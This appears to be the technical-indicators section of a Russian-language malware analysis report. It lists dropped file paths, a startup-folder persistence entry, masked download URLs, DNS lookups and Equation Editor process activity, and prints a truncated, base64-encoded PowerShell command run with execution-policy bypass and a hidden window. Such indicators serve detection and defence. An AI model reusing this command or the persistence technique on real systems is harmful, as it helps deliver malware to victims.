Техническая информация
- %APPDATA%\microsoft\windows\start menu\programs\startup\xepdesdjw.exe
- '' (загружен из сети Интернет)
- 'C:\users\public\908.exe'
- C:\users\public\908.exe
- http://bi#.ly/3h7WgbP
- http://pa##e.ee/r/LVzO8
- http://oc##.thawte.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQwF4prw9S7mCbCEHD%2Fyl6nWPkczAQUe1tFz6%2FOy3r9MZIaarbzRutXSFACEEeXTXhzpbyrDS%2BzcBkvzl4%3D
- DNS ASK bi#.ly
- DNS ASK u.##knik.io
- DNS ASK pa##e.ee
- DNS ASK z.#z.ht
- DNS ASK st####.rapidssl.com
- DNS ASK oc##.thawte.com
- '%CommonProgramFiles%\microsoft shared\equation\eqnedt32.exe' -Embedding
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy bypass -w 1 /e WwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsACAAPQAgAFsAUwB5AHMAdABlAG0AL...